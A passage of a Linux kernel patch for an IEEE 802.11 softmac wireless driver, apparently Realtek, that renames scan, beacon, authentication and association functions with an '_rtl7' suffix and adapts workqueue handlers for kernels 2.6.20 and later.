schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,208 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,103 +879,109 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ @@ -977,62 +989,67 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1060,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1085,18 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1089,42 +1106,40 @@ } ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1147,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1207,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, 